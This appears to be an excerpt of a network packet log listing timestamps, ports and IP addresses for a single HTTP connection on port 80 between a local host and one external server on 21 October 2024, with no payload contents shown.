Oct 21, 2024 09:06:12.149842024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.149856091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.149894953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.149905920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.150341034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.150397062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.173095942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.173249006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.173290968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.173326015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.173347950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.173369884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.188647985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.188714027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.188879967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.188913107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.189034939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.189034939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.189416885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.189474106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.189486980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.189522982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.189539909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.189594030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.190234900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.190265894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.190289974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.190314054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.190340996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.190402031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.191042900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.191075087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.191097021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.191122055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.191148996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.191200018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.191884995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.191915989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.191937923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.191962957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.191988945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.192040920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.192842007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.192898989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.192913055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.192953110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.192965984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.193002939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.193778992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.193836927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.193850040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.193890095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.193903923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.193934917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.193962097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.194005966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.194672108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.194705963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.194727898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.194750071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.194777966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.194832087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.195624113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.195656061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.195678949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.195699930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.195728064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.195780993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.196543932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.196577072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.196599960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.196626902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.196651936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.196685076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.196706057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.196732044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.197268963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.197323084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.197343111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.197371006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.197407961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.197453976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.223577976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.223681927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.223735094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.223783016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.223783016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.223974943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.224112034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.224143982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.224167109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.224189043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.224217892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.224267960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.265279055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.265366077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.265428066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.265460968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.265577078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.265577078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.269668102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.269731998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.269802094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.269860029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.270086050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.270117998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.270145893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.270174026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.270477057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.270522118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.270543098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.270576954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.293380022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.293493032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.293524981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.293600082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.293600082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.293600082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.308909893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.308943033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.308974981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.309089899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.309091091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.309292078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.309354067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.309438944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.309501886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.309724092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.309755087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.309781075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.309813976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.309843063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.309896946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.310517073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.310549021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.310573101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.310595036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.310623884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.310655117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.310674906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.310703993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.311320066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.311352015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.311379910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.311425924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.311458111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.311511993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.312181950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.312213898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.312247992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.312264919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.312288046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.312340021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.313047886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.313081026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.313103914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.313136101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.313165903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.313198090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.313220024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.313245058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.313900948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.313934088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.313956976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.313990116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.314007044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.314059973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.314749002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.314780951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.314801931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.314826965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.314852953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.314904928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.315608978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.315640926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.315664053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.315691948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.315716982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.315748930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.315768957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.315793991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.316318035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.316350937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.316385031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.316401958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.316423893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.316454887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.316477060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.316509962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.317188025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.317223072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.317245960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.317267895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.344160080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.344192982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.344225883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.344332933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.344332933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.344332933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.344382048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.344418049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.344435930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.344469070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.344757080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.344818115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.385453939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.385584116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.385606050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.385639906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.385657072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.385710001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.389760017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.389813900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.389950991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.389981985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.390006065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.390034914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.390326023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.390388012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.390453100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.390510082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.390671968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.390729904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.414074898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.414108038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.414139986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.414259911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.418052912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.428798914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.428910971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.428966999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.429013968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.429038048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.429075003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.429228067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.429287910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.429488897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.429543972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.429558039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.429605961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.429816008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.429847002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.429872036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.429898977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.429922104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.429974079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.430376053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.430408001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.430429935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.430454969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.430481911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.430533886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.431152105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.431185961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.431205034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.431232929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.431256056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.431289911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.431308985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.431340933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.431873083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.431905031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.431927919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.431952953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.431978941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.432030916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.432624102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.432657003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.432679892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.432706118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.432730913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.432782888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.433386087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.433418989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.433443069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.433473110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.433506966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.433526039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.433543921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.433597088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.434146881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.434180021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.434212923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.434328079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.435029030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.435062885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.435095072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.435121059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.435137987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.435173035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.435192108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.435225964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.692863941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.692923069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.698030949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.698064089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.698117018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.698167086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.698194027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:13.486252069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:13.486417055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:13.564663887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:13.564726114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:13.569729090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:13.569761992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:13.569984913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:14.352957964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:14.353091955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:14.371253014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:14.376169920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:15.157783985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:15.157897949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:15.491904974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:15.496977091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.272731066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.272816896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.570373058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.575443983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.852427959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.852504015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.852535009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.852585077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.852628946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.852801085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.852834940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.852857113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.852884054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.852914095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.852966070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.853425026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.853457928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.853524923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.853769064 CEST	80	49730	185.215.113.37	192.168.2.4
